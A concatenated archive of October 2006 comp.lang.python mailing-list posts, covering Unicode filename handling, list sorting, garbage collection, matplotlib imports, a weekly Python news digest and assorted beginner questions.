johnjsal at NOSPAMgmail.com Fri Oct 20 11:02:37 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 20 Oct 2006 15:02:37 GMT Subject: python under the hood In-Reply-To: <1161345457.021410.306910@m73g2000cwd.googlegroups.com> References: <1161345457.021410.306910@m73g2000cwd.googlegroups.com> Message-ID: tpochep at mail.ru wrote: > Hello. > > Is there any good information about python's internals and semantic? I > mean "under the hood". > For example, I want to understant what do these strings > > x = 10 > y = 10 > x = 20 > > mean (memory allocation for object? ctors? etc.) > Unfortynatly, I'm too lazy to read python's source code :) (and I > guess, it's not very easy :) ) > I found both Learning Python and Python in a Nutshell (both O'Reilly) to be really good at covering some of the details of what's happening in the language. Assuming you want to read whole books about it! :) From tinodb at gmail.com Thu Oct 19 15:56:49 2006 From: tinodb at gmail.com (TiNo) Date: Thu, 19 Oct 2006 21:56:49 +0200 Subject: right curly quote and unicode In-Reply-To: <7fcc59a70610181444p5909767g77fdf37671041b93@mail.gmail.com> References: <7fcc59a70610181444p5909767g77fdf37671041b93@mail.gmail.com> Message-ID: <435b46e50610191256w45271a00kc96b366140b8ff56@mail.gmail.com> That is actually > > not an apostrophe, but ASCII char 180: ? > > It's actually Unicode char #180, not ASCII. ASCII characters are in > 0..127 range. Yep, that's what I ment... :D > In the Itunes library it is encoded as: Don%E2%80%99t > > Looks like a utf-8 encoded string, then encoded like an url. It is. I just found out it is unicode character 2019. So in the Itunes library it is not unicode char 180, but it looks exactly the same... > I do some some conversions with both the library path names and the folder > > path names. Here is the code: > > (in the comment I dispay how the Don't part looks. I got this using > print > > repr(filename)) > > ------------------------------------------------------------- > > #Once I have the filenames from the library I clean them using the > following > > code (as filenames are in the format ' > > file://localhost/m:/music/track%20name.mp3') > > > > filename = urlparse.urlparse(filename)[2][1:] # u'Don%E2%80%99t' ; side > > question, anybody who nows a way to do this in a more fashionable way? > > filename = urllib.unquote (filename) # u'Don\xe2\x80\x99t' > > This doesn't work for me in python 2.4, unquote expects str type, not > unicode. So it should be: > > filename = urllib.unquote(filename.encode('ascii')).decode('utf-8') It works for me with python 2.4.3. It returns a unicode string. > filename = os.path.normpath(filename) # u'Don\xe2\x80\x99t' > > > > I get the files in my music folder with the os.walk method and then > > I do: > > > > filename = os.path.normpath(os.path.join (root,name)) # 'Don\x92t' > > filename = unicode(filename,'latin1') # u'Don\x92t' > > filename = filename.encode('utf-8') # 'Don\xc2\x92t' > > filename = unicode(filename,'latin1') # u'Don\xc2\x92t' > > This looks like calling random methods with random parameters :) It is... Well, not totally random. I figured I needed a unicode string to be able to encode it to utf-8 (otherwise it gives an error). After that is appears not to be a unicode string anymore(no u in front of it), so I decided to unicode it again.... It worked, but I now accomplish the same by just the encode line and the following: Python is able to return you unicode file names right away, you just > need to pass input parameters as unicode strings: > > >>> os.listdir(u"/") > [u'alarm', u'ARCSOFT' ...] > > So in your case you need to make sure the start directory parameter > for walk function is unicode. That does not matter much for me. Then I will have to convert the path name to unicode, as it is user input. (ok, it still saves me converting a string to unicode a thousand times, so I'll do it :) Now I know where the problem lies. The character in the actual file path is u+00B4 (Acute accent) and in the Itunes library it is u+2019 (a right curly quote). Somehow Itunes manages to make these two the same...? As it is the only file that gave me trouble, I changed the accent in the file to an apostrophe and re-imported it in Itunes. But I would like to hear if there is a solution for this problem? -------------- next part -------------- An HTML attachment was scrubbed... URL: From ptmcg at austin.rr._bogus_.com Tue Oct 24 00:19:50 2006 From: ptmcg at austin.rr._bogus_.com (Paul McGuire) Date: Tue, 24 Oct 2006 04:19:50 GMT Subject: Sorting by item_in_another_list References: Message-ID: "Cameron Walsh" wrote in message news:ehk3p8$j3q$1 at enyo.uwa.edu.au... > Hi, > > I have two lists, A and B, such that B is a subset of A. > > I wish to sort A such that the elements in B are at the beginning of A, > and keep the existing order otherwise, i.e. stable sort. The order of > elements in B will always be correct. > > for example: > > A = [0,1,2,3,4,5,6,7,8,9,10] > B = [2,3,7,8] > > desired_result = [2,3,7,8,0,1,4,5,6,9,10] > > > At the moment I have defined a comparator function: > > def sort_by_in_list(x,y): > ret = 0 > if x in B: > ret -= 1 > if y in B: > ret += 1 > return ret > > and am using: > > A.sort(sort_by_in_list) > > which does produce the desired results. > > I do now have a few questions: > > 1.) Is this the most efficient method for up to around 500 elements? If > not, what would be better? > 2.) This current version does not allow me to choose a different list for > B. Is there a bind_third function of some description that I could use to > define a new function with 3 parameters, feed it the third (the list to > sort by), and have the A.sort(sort_by_in_list) provide the other 2 > variables? > Think in Python. Define a function to take the list, and have that function return the proper comparison function. This gives me the chance to also convert the input list to a set, which will help in scaling up my list to hundreds of elements. See below. -- Paul def sort_by_in_list(reflist): reflist = set(reflist) def sort_by_in_list_(x,y): ret = 0 if x in reflist: ret -= 1 if y in reflist: ret += 1 return ret return sort_by_in_list_ A = [0,1,2,3,4,5,6,7,8,9,10] B = [2,3,7,8] A.sort( sort_by_in_list(B) ) print A Gives: [2, 3, 7, 8, 0, 1, 4, 5, 6, 9, 10] From sybrenUSE at YOURthirdtower.com.imagination Sat Oct 7 18:02:10 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Sun, 8 Oct 2006 00:02:10 +0200 Subject: operator overloading + - / * = etc... References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com> Message-ID: Tim Chase enlightened us with: > With the caveat of the "=" mentioned in the subject-line (being > different from "==")...I haven't found any way to override > assignment in the general case. Why would you want to do that? Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From python-url at phaseit.net Mon Oct 9 23:56:09 2006 From: python-url at phaseit.net (Cameron Laird) Date: Tue, 10 Oct 2006 03:56:09 +0000 (UTC) Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Oct 10) Message-ID: QOTW: "... [N]ow that I've made the switch to python, I'm several orders of magnitude more productive ..." - Rob Knapp http://groups.google.com/group/comp.lang.python/msg/8a4efd549bfb451a "Hanging out around the Python community will make you a better VB, dotNet or C++ programmer ..." - Carl Trachte http://groups.google.com/group/comp.lang.python/msg/e2648d5a03c04d4e "It was a revelation to bump into Python in 1996. Suddenly, there was something which was easy to get started with, but still just felt better and better the longer I used it. That's the killer feature in my mind." - Magnus Lycka http://groups.google.com/group/comp.lang.python/msg/e2a3ec58d73a2d12 If you're in the Midwest (USA) this week, make a point of visiting the Chicago Python User Group on Thursday. Jazz musician David Beasley will present PLY: http://groups.google.com/group/comp.lang.python/msg/11e0ef756f4892c1 timbot comments with unique and useful detail on the Python license(s): http://groups.google.com/group/comp.lang.python/msg/ebb262db50c45d83 goon summarizes WSGI resources: http://groups.google.com/group/comp.lang.python/msg/f7d67bc039748792 A Kamaelia spokesman mentions constructions involving PVR, visual composition, real-time 3D spinning, Dirac encoding, and other "bling": http://groups.google.com/group/comp.lang.python/msg/001dc5992b1bfbb4 Martin von Loewis and Fredrik Lundh remark that XML parsing fundamentally conflicts with lexically-detailed text editing, and vice-versa: http://groups.google.com/group/comp.lang.python/msg/8acd9f676278b720 John Machin's xlrd makes it practical to read any Excel spreadsheet programmatically, even when hosted under Linux: http://groups.google.com/group/comp.lang.python/browse_thread/thread/572b0ac9648ccd66/ ======================================================================== Everything Python-related you want is probably one or two clicks away in these pages: Python.org's Python Language Website is the traditional center of Pythonia http://www.python.org Notice especially the master FAQ http://www.python.org/doc/FAQ.html PythonWare complements the digest you're reading with the marvelous daily python url http://www.pythonware.com/daily Mygale is a news-gathering webcrawler that specializes in (new) World-Wide Web articles related to Python. http://www.awaretek.com/nowak/mygale.html While cosmetically similar, Mygale and the Daily Python-URL are utterly different in their technologies and generally in their results. For far, FAR more Python reading than any one mind should absorb, much of it quite interesting, several pages index much of the universe of Pybloggers. http://lowlife.jp/cgi-bin/moin.cgi/PythonProgrammersWeblog http://www.planetpython.org/ http://mechanicalcat.net/pyblagg.html comp.lang.python.announce announces new Python software. Be sure to scan this newsgroup weekly. http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce Python411 indexes "podcasts ... to help people learn Python ..." Updates appear more-than-weekly: http://www.awaretek.com/python/index.html Steve Bethard, Tim Lesher, and Tony Meyer continue the marvelous tradition early borne by Andrew Kuchling, Michael Hudson and Brett Cannon of intelligently summarizing action on the python-dev mailing list once every other week. http://www.python.org/dev/summary/ The Python Package Index catalogues packages. http://www.python.org/pypi/ The somewhat older Vaults of Parnassus ambitiously collects references to all sorts of Python resources. http://www.vex.net/~x/parnassus/ Much of Python's real work takes place on Special-Interest Group mailing lists http://www.python.org/sigs/ Python Success Stories--from air-traffic control to on-line match-making--can inspire you or decision-makers to whom you're subject with a vision of what the language makes practical. http://www.pythonology.com/python/success The Python Software Foundation (PSF) has replaced the Python Consortium as an independent nexus of activity. It has official responsibility for Python's development and maintenance. http://www.python.org/psf/ Among the ways you can support PSF is with a donation. http://www.python.org/psf/donate.html Kurt B. Kaiser publishes a weekly report on faults and patches. http://www.google.com/groups?as_usubject=weekly%20python%20patch Although unmaintained since 2002, the Cetus collection of Python hyperlinks retains a few gems. http://www.cetus-links.org/oo_python.html Python FAQTS http://python.faqts.com/ The Cookbook is a collaborative effort to capture useful and interesting recipes. http://aspn.activestate.com/ASPN/Cookbook/Python Among several Python-oriented RSS/RDF feeds available are http://www.python.org/channews.rdf http://bootleg-rss.g-blog.net/pythonware_com_daily.pcgi http://python.de/backend.php For more, see http://www.syndic8.com/feedlist.php?ShowMatch=python&ShowStatus=all The old Python "To-Do List" now lives principally in a SourceForge reincarnation. http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse http://www.python.org/dev/peps/pep-0042/ The online Python Journal is posted at pythonjournal.cognizor.com. editor at pythonjournal.com and editor at pythonjournal.cognizor.com welcome submission of material that helps people's understanding of Python use, and offer Web presentation of your work. del.icio.us presents an intriguing approach to reference commentary. It already aggregates quite a bit of Python intelligence. http://del.icio.us/tag/python *Py: the Journal of the Python Language* http://www.pyzine.com Archive probing tricks of the trade: http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100 http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.* Previous - (U)se the (R)esource, (L)uke! - messages are listed here: http://www.ddj.com/topic/python/ (requires subscription) http://groups-beta.google.com/groups?q=python-url+group:comp.lang.python*&start=0&scoring=d& http://purl.org/thecliff/python/url.html (dormant) or http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python There is *not* an RSS for "Python-URL!"--at least not yet. Arguments for and against are occasionally entertained. Suggestions/corrections for next week's posting are always welcome. E-mail to should get through. To receive a new issue of this posting in e-mail each Monday morning (approximately), ask to subscribe. Mention "Python-URL!". Write to the same address to unsubscribe. -- The Python-URL! Team-- Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and sponsor the "Python-URL!" project. From rrr at ronadam.com Wed Oct 18 04:10:09 2006 From: rrr at ronadam.com (Ron Adam) Date: Wed, 18 Oct 2006 03:10:09 -0500 Subject: How to convert this list to string? In-Reply-To: <1161156050.529095.204770@e3g2000cwe.googlegroups.com> References: <1161156050.529095.204770@e3g2000cwe.googlegroups.com> Message-ID: <%mlZg.6685$fl.5082@dukeread08> Jia Lu wrote: > Hi all > > I have a list like: > >>>> list > [1, 2, 3] >>>> list[1:] > [2, 3] > > I want to get a string "2 3" > >>>> str(list[1:]) > '[2, 3]' > > How can I do that ? > > thanks Just to be different from the other suggestions... >>> a = [1, 2, 3] >>> str(a[1:]).strip('[]').replace(',', '') '2 3' By the way. It's a good idea to try not to use 'list' or other built-in names for your own objects. Best to start with good habits so that you avoid odd hard to find bugs later. Cheers, Ron From davidh at ilm.com Thu Oct 5 21:42:49 2006 From: davidh at ilm.com (David Hirschfield) Date: Thu, 05 Oct 2006 18:42:49 -0700 Subject: Question about turning off garbage collection In-Reply-To: <1f7befae0610051820r6defed8es77d206a57af8a6eb@mail.gmail.com> References: <4525ABE9.7020000@ilm.com> <1f7befae0610051820r6defed8es77d206a57af8a6eb@mail.gmail.com> Message-ID: <4525B499.2030603@ilm.com> Thanks for the great response! I'm positive there's something extremely funky going on underneath that's causing the problem when cyclic garbage collection is turned on. Unfortunately I haven't got access to the code for the module that appears to be causing the trouble. It really appears to be some incompatibility between python threads, pygtk and the database access module I'm using...and it's a royal pain. Fortunately your response makes me comfortable that I can at least turn off the gc without creating a leaky mess. When I have a chance I'll try to create a test case that clearly demonstrates the problem so I can get the authors of the modules to find the real problem. Thanks, -Dave Tim Peters wrote: > [David Hirschfield] > >> Question from a post to pygtk list...but it probably would be better >> answered here: >> >> I encountered a nasty problem with an external module conflicting with >> my python threads recently, and right now the only fix appears to be to >> turn off garbage collection while the critical code of the thread is >> running, and then turn it back on afterwards. >> >> Now, I don't know much about how the garbage collector works in python, >> and in order to get the thread to run without freezing, I'm wrapping the >> threaded processing function with calls to gc.disable()/gc.enable(). >> >> So what's that going to do? >> > > Stop the /cyclic/ garbage-collection algorithm from running for as > long as it remains disabled. Most garbage collection in Python, in > typical applications most of the time, is done by reference counting, > and /that/ can never be disabled. Reference counting alone is not > strong enough to detect trash objects in cycles (like A points to B > and B points to A and nothing else points to either; they're > unreachable trash then, but the reference count on each remains 1). > The `gc` module controls cyclic garbage collection, which is a > distinct subsystem used to find and reclaim the trash cycles reference > counting can't find on its own. > > >> Will calling gc.enable() put things in good shape? Will all objects created while >> the garbage collector was off now be un-collectable? >> > > No. It has no effect except to /suspend/ running the cyclic gc > subsystem for the duration. Trash related to cycles will pile up for > the duration. That's all. > > >> I'm extremely wary of this solution, as I think anyone would be. I don't want a >> suddenly super-leaky app. >> > > As above, most garbage should continue to get collected regardless. > > >> Comments? Suggestions? (I know, I know, avoid threads...if only I could) >> > > Nothing wrong with threads. My only suggestion is to dig deeper into > /why/ something goes wrong when cyclic gc is enabled. That smells of > a serious bug, so that disabling cyclic gc is just papering over a > symptom of a problem that will come back to bite you later. For > example, if some piece of code in an extension module isn't > incrementing reference counts when it should, that could /fool/ cyclic > gc into believing an object is trash /while/ the extension module > believes it has a valid pointer to it. If so, that would be a serious > bug in the extension module. Enabling cyclic gc should not create > problems for any correctly written C code. > -- Presenting: mediocre nebula. -------------- next part -------------- An HTML attachment was scrubbed... URL: From robert.kern at gmail.com Tue Oct 17 00:00:51 2006 From: robert.kern at gmail.com (Robert Kern) Date: Mon, 16 Oct 2006 23:00:51 -0500 Subject: Plotting histograms In-Reply-To: <1161056950.593026.114230@i42g2000cwa.googlegroups.com> References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com> Message-ID: amitsoni.1984 at gmail.com wrote: > hi, I have some values(say from -a to a) stored in a vector and I want > to plot a histogram for those values. How can I get it done in python. > I have installed and imported the Matplotlib package but on executing > the code > [N,x]=hist(eig, 10) # make a histogram > I am getting an error saying "NameError: name 'hist' is not > defined". I presume what you did was something like this: from matplotlib import pylab [N,x] = hist(eig, 10) What you actually want is this: from matplotlib import pylab [N,x] = pylab.hist(eig, 10) Or, if you're at the interactive prompt (but remember that it is inadvisable to do so in modules): from matplotlib.pylab import * [N,x] = hist(eig, 10) You will probably want to review the section of the tutorial on importing modules if you don't understand the differences. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From fredrik at pythonware.com Wed Oct 4 04:25:13 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 4 Oct 2006 10:25:13 +0200 Subject: hex sending References: <1159949891.962523.182880@c28g2000cwb.googlegroups.com> Message-ID: "hiroc" wrote: > s.send("abc") # send test string > > I need to send hex:"10 06 00 0f 02 bc d1" instead of "abc" do you want to send seven binary bytes, or pairs of hexadecimal characters separated by whitespace ? how do you map from "abc" to "10 06 00 0f 02 bc d1", by the way? what encoding is that? From steven.bethard at gmail.com Mon Oct 23 20:02:27 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Mon, 23 Oct 2006 18:02:27 -0600 Subject: classroom constraint satisfaction problem In-Reply-To: <1160953489.010661.115340@e3g2000cwe.googlegroups.com> References: <1LadnZCCBosBMK_YnZ2dnUVZ_r-dnZ2d@comcast.com> <1160953489.010661.115340@e3g2000cwe.googlegroups.com> Message-ID: Carl Banks wrote: > Steven Bethard wrote: >> Basically, I want to build groups of two teachers and four students such >> that [1]: >> >> * Students are assigned to exactly one group >> * Teachers are assigned to approximately the same number of groups >> * Students are not in groups with their homeroom teachers >> * Students in each group are from four different homerooms >> >> So given teachers A, B, C, D, E and F and their corresponding students >> A1, A2, ... F3, F4, here's a good grouping: >> >> A, B: C1, D1, E1, F1 >> B, C: A1, D2, E2, F2 >> C, D: A2, B1, E3, F3 >> D, E: A3, B2, C2, F4 >> E, F: A4, B3, C3, D3 >> F, A: B4, C4, D4, E4 > > [snip] > >> [1] There are actually two other constraints that I omitted: >> >> * Some teachers cannot be placed in the same group, e.g. I might know >> that A cannot work with B or that E cannot work with F. >> >> * If you create a graph out of the teacher pairs from all the groups, >> the graph should not be disconnected. That is, the following grouping >> is bad because the teachers are disconnected: > > I would do it in two steps. > > Step 1: Generate a graph of all teachers, such that there is one > connection for every four students, and each teacher has approximately > equal number of connections. A simple, approximate way to do this > would be to generate random subsets of two teachers until you have > enough connections (though that won't work well if you have a lot of > teachers that can't work together, which wouldn't be surprising). I'm > sure graph theory has some algorithms to do this if you need more > exactitude. > > Step 2: Assign students from appropriate homerooms to each connection. > The following simple algorithm is probably satisfactory: for each > connection between teachers, choose a random subset of four homerooms > not governed by those teachers to form a group. Assign a random > student from each homeroom. Once every student from a homeroom has > been been assigned, remove that homeroom from the set of available > homerooms. With this method, you might have some connections at the > end without enough remaining homerooms; just go fishing for a suitable > switch among students already assigned. Or, work out a way to make > sure you don't exhaust too many homerooms. Perhaps there is a known > algorithm for doing this. For what it's worth, I went basically this route. My code does something like: (1) Generate all pairs of teachers (2) Remove any pairs of teachers in conflict (3) Create a list for teacher pairs (4) Randomly select a teacher pair and add it to the list (5) If any teachers are at their max number of groups, remove all pairs that include them from the pairs we are randomly selecting from (6) If we have not selected a teacher pair for each group, goto (4) (7) If the resulting graph is disconnected, try again from step (3) (8) We now have one pair of teachers for each group (8) Randomly select four other teachers' homerooms for each group (9) Randomly pop a student off of each homeroom and add it to the group (10) If a homeroom becomes empty, remove it from the homerooms we are randomly selecting from. (11) If at any point we run out of students, try again from step (3) (12) Eventually, we have assigned people to all teacher-student groups This seems to work pretty quickly, and doesn't have much trouble finding solutions to the datasets I've tried it on. Thanks for your help! Steve From steve at holdenweb.com Thu Oct 5 02:29:29 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 05 Oct 2006 07:29:29 +0100 Subject: Python to use a non open source bug tracker? In-Reply-To: <1160004324.651743.280590@b28g2000cwb.googlegroups.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <1160004324.651743.280590@b28g2000cwb.googlegroups.com> Message-ID: Ilias Lazaridis wrote: > Giovanni Bajo wrote: > >>Hello, >> >>I just read this mail by Brett Cannon: >>http://mail.python.org/pipermail/python-dev/2006-October/069139.html >>where the "PSF infrastracture committee", after weeks of evaluation, recommends >>using a non open source tracker (called JIRA - never heard before of course) >>for Python itself. >> >>Does this smell "Bitkeeper fiasco" to anyone else than me? >>-- >>Giovanni Bajo > > > Fascinating. > > The python foundation suggests a non-python non-open-source bugtracking > tool for python. > > It's like saying: "The python community is not able to produce the > tools needed to drive development of python forward." > > Anyway. The whole selection process is intransparent. > > The commitee should have stated "goals" and "requirements" with a > public verification of the tools against them. > Is there any stick in the known universe that you will grasp the *right* end of? http://wiki.python.org/moin/OriginalCallForTrackers regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From horpner at yahoo.com Wed Oct 4 13:37:50 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 4 Oct 2006 19:37:50 +0200 Subject: item access time: sets v. lists References: <4cSUg.7864$753.4683@trnddc05> Message-ID: On 2006-10-04, David Isaac wrote: > Paul M. wrote: >> Random access to item in list/set when item exists >> set -> 0.000241650824337 >> list -> 0.0245168031132 >> >> Random access to item in list/set when item does not exist >> set -> 0.000187733357172 >> list -> 0.522086186932 > > > OK, that's a much better set of answers > including to questions I did not > even know I wanted to ask until > I saw your post. But, how to > explain the above?? Look at the code again. It's not testing what it says it's testing. print "\nRandom access to first item in list/set" t1=timeit.Timer("0 in z","z = set(xrange(10000))") t2=timeit.Timer("0 in z", "z = list(xrange(10000))") print "set ->", t1.timeit(1000) print "list ->", t2.timeit(1000) print "\nRandom access to item in list/set when item exists" t1=timeit.Timer("500 in z","z = set(xrange(10000))") t2=timeit.Timer("500 in z", "z = list(xrange(10000))") print "set ->", t1.timeit(1000) print "list ->", t2.timeit(1000) -- Neil Cerutti From bjobrien62 at gmail.com Mon Oct 2 17:55:53 2006 From: bjobrien62 at gmail.com (SpreadTooThin) Date: 2 Oct 2006 14:55:53 -0700 Subject: Need help with an array problem. Message-ID: <1159826153.470372.101200@e3g2000cwe.googlegroups.com> Basically I think the problem is in converting from a 32 bit integer to a 16 bit integer. I have two arrays: import array a = array.array('L', [65537]) b = array.array('H', [0]) b[0] = a[0] Which gives an overflow message.... So can't I truncate the long by discaring the upper bits .. Like b[0] = 0x0000FFFF & a[0] How does one normally cast an object from long to short? From joel.hedlund at gmail.com Thu Oct 26 04:01:54 2006 From: joel.hedlund at gmail.com (Joel Hedlund) Date: Thu, 26 Oct 2006 10:01:54 +0200 Subject: Slightly OT: Is pyhelp.cgi documentation search broken? Message-ID: Hi! For a number of days I haven't been able to search the online python docs at: http://starship.python.net/crew/theller/pyhelp.cgi that is the "search the docs with" link at this page: http://www.python.org/doc/ Instead of the search engine, I get Error 404. This is a real bother for me, since I rely heavily on it for my work. Is it broken? If so, is anybody trying to get it back up again, and what's the time scale in that case? Is there an alternative available somewhere? Cheers! /Joel Hedlund From bernard.chhun at gmail.com Wed Oct 11 14:22:18 2006 From: bernard.chhun at gmail.com (Bernard) Date: 11 Oct 2006 11:22:18 -0700 Subject: error handling In-Reply-To: References: Message-ID: <1160590937.895058.33030@m7g2000cwm.googlegroups.com> Hi Fulvio, I often use this try except to find out about what type of errors might happen in my code: I use it when I really don't know what might happen. try: # do something except: print "Unexpected error:", sys.exc_info()[0] continue once it catches an error, just take a good look at the error message and you'll be able to extend the try except like this: try: # do something except KeyError: print "this is a KeyError" continue except TypeError: print "this is a TypeError" continue except: print "Unexpected error:", sys.exc_info()[0] os.system("pause") continue Fulvio wrote: > *********************** > Your mail has been scanned by InterScan MSS. > *********************** > > > Hello there, > > Simple question : how do I manage errors by the use "try/except" clause. > Example: > If I'd like to catch error coming from a function call that's using IMAP4 > class, which error may raise such class? > In other words I've doubts about which error object I should put after > the "except" statement in order to trap the wanted error. > > Is there, somehow, the way to list the errors from a class or function, prior > digging into the source? > > F From Peter.Beattie at web.de Sat Oct 7 18:37:39 2006 From: Peter.Beattie at web.de (Peter Beattie) Date: Sun, 08 Oct 2006 00:37:39 +0200 Subject: Painless way to do 3D visualization Message-ID: <4oqohkFfm09vU1@uni-berlin.de> Hey folks, I need to do the following relatively simple 3D programming: I want to convert data from four-item tuples into 3D co-ordinates in a regular tetrahedron. Co-ordinates come in sequences of 10 to 20, and the individual dots in the tetrahedron need to be connected into discontinuous lines. A single tetrahedron should contain at least two, possibly more, such lines. I would like to show certain similarities in the sequences/lines, eg by changing color, thickness, or maybe attaching indeces to certain points in a particular sequence. I'd welcome suggestions as to what might be the most painless way to achieve this in Python. So far, I've only tinkered a little with VPython, but the lack of any decent documentation has proved to be a major turn-off. TIA! -- Peter From fredrik at pythonware.com Tue Oct 17 03:51:00 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 17 Oct 2006 09:51:00 +0200 Subject: COM Error -- Urgent help In-Reply-To: <1161070831.102884.37930@e3g2000cwe.googlegroups.com> References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com> <45347682$0$25906$ba4acef3@news.orange.fr> <1161070831.102884.37930@e3g2000cwe.googlegroups.com> Message-ID: Teja wrote: > I am sorry. By func(dest) I meant MyNavigate(dest). Can u please help > me out... nobody here can read your mind. please post the code you're actually using, *and* the error you're getting. From hpsekhon at googlemail.com Mon Oct 2 11:37:41 2006 From: hpsekhon at googlemail.com (Hari Sekhon) Date: Mon, 02 Oct 2006 16:37:41 +0100 Subject: commands.getstatusoutput result is not command line exit value!!! In-Reply-To: References: <452125F8.8070106@googlemail.com> Message-ID: <45213245.3000808@googlemail.com> I don't quite understand what you are saying here: 2 * 256 is 512, 2 ** 256 is some extremely large number. 2**12 is 4096. So how does 3072 factor into this? Could you explain what you mean by "the error in the top half of a sixteen-bit value"? This makes no sense to me at this moment. -h Hari Sekhon Steve Holden wrote: > Hari Sekhon wrote: > >> I'm running a command like >> >> import commands >> result = commands.getstatusoutput('somecommand') >> print result[0] >> 3072 >> >> >> However, this exit code made no sense so I ran it manually from the >> command line in bash on my linux server and it gives the exit code as >> 12, not this weird 3072 number. >> >> So I tried os.system('somecommand') in the interactive python shell and >> it too returned the same result for the exit code as the unix shell, 12, >> but re-running the commands.getstatusoutput() with the exact same >> command still gave 3072. >> >> >> Is commands.getstatusoutput() broken or something? >> >> >> -h >> >> > No, it's just returning the error code in the top half of a sixteen-bit > value. You will notice that 3072 == 2 * 256. > > That's always been the way the Unix return code has been returned > programattically, but the shell shifts it down to make it more usab;e. > > regards > Steve > -------------- next part -------------- An HTML attachment was scrubbed... URL: From Eric_Dexter at msn.com Sat Oct 7 00:09:16 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 6 Oct 2006 21:09:16 -0700 Subject: problem with split In-Reply-To: <1160194063.352905.106210@e3g2000cwe.googlegroups.com> References: <1160194063.352905.106210@e3g2000cwe.googlegroups.com> Message-ID: <1160194155.949928.126140@c28g2000cwb.googlegroups.com> p.s. this is the one I need to finish to release the csoundroutines library www.dexrow.com Eric_Dexter at msn.com wrote: > apologies if I annoy and for spacing (google) > > > > def csdInstrumentList(from_file): > "Returns a list of .csd instruments and any comment lines after the > instrument" > infile = open(from_file, 'r') > temp_number = 0 > for line in infile: > if 'instr' in line: > s = re.split(r' +',line,3) > instr_number = s[1] > return instr_number > > I am coming pretty close to what I want with variations on theis but I > cant seem to > get 3 lines with the split and instr_number[array] = s[1] seems to give > me an error. > the data from the line I am trying to split in three would look like > this > > instr 83 ;comment would be here > > I want comment returned in an array and instr_number returned in an > array. From mail at microcorp.co.za Mon Oct 9 01:52:18 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Mon, 9 Oct 2006 07:52:18 +0200 Subject: Names changed to protect the guilty References: <1160182951.812677.178750@i42g2000cwa.googlegroups.com><1160183076.034356.292780@i3g2000cwc.googlegroups.com><1160184574.708331.78400@i3g2000cwc.googlegroups.com> Message-ID: <018701c6eb67$352c6aa0$03000080@hendrik> "Steven D'Aprano" wrote: > On Fri, 06 Oct 2006 18:29:34 -0700, John Machin wrote: > > MonkeeSage wrote: > >> On Oct 6, 8:02 pm, "MonkeeSage" wrote: > >> > it is clearer to you to make the condition explicit ("blah not False"), > >> > >> "blah not False" -> "blah is False" > > > > Whichever way your team wants to interpret it, d00d. > > > > Please consider whether you should be writing "(blah is False) is > > True", that would be more explicit. > > Puh-lease! Get it right! > > It should be "((blah is False) is True) is True". I once saw a baking powder tin with a picture of a baking powder tin with a picture of a baking powder tin... - Hendrik From aahz at pythoncraft.com Thu Oct 5 23:23:41 2006 From: aahz at pythoncraft.com (Aahz) Date: 5 Oct 2006 20:23:41 -0700 Subject: Google breaks Usenet (was Re: How can I correct an error in an old post?) References: <1159723139.638984.293300@h48g2000cwc.googlegroups.com> <1160096371.564954.132860@b28g2000cwb.googlegroups.com> Message-ID: In article <1160096371.564954.132860 at b28g2000cwb.googlegroups.com>, Blair P. Houghton wrote: > >But they do about 10 things totally wrong with Google groups that >I'd've fixed in my spare time in my first week if they'd hired me back >when I was interviewing with them. Only ten? -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "If you don't know what your program is supposed to do, you'd better not start writing it." --Dijkstra From mdsteele at gmail.com Fri Oct 20 18:52:16 2006 From: mdsteele at gmail.com (mdsteele at gmail.com) Date: 20 Oct 2006 15:52:16 -0700 Subject: Inheriting property functions References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com> Message-ID: <1161384736.205021.275130@f16g2000cwb.googlegroups.com> Dustan wrote: > B isn't recognizing its inheritence of A's methods get_a and set_a > during creation. > > Why am I doing this? For an object of type B, it makes more sense to > reference the attribute 'b' than it does to reference the attribute > 'a', even though they are the same, in terms of readability. > > Is there any way to make this work as intended? Try this: >>> class A(object): ... def __init__(self,a): ... self.__a = a ... def get_a(self): return self.__a ... def set_a(self,new_a): self.__a = new_a ... a = property(get_a,set_a) ... >>> class B(A): ... b = property(A.get_a,A.set_a) ... >>> bar = B(5) >>> bar.a 5 >>> bar.b 5 The trouble is that get_a and set_a are attributes of the _class object_ A. Instances of A (and hence, instances of B) will see them, but the class B will not, so you have to point to them explicitly with A.get_a and A.set_a. From elpX at adsihqX.com Tue Oct 10 18:09:34 2006 From: elpX at adsihqX.com (Dr. Pastor) Date: Tue, 10 Oct 2006 15:09:34 -0700 Subject: Motions. Message-ID: <1160518262_13745@sp6iad.superfeed.net> Hi: I would like to track the motions of small birds in short (20-30sec) .avi films. What tool-set/programs would be wise to use? Thanks for any guidance. ----== Posted via Newsfeeds.Com - Unlimited-Unrestricted-Secure Usenet News==---- http://www.newsfeeds.com The #1 Newsgroup Service in the World! 120,000+ Newsgroups ----= East and West-Coast Server Farms - Total Privacy via Encryption =---- From rzantow at gmail.com 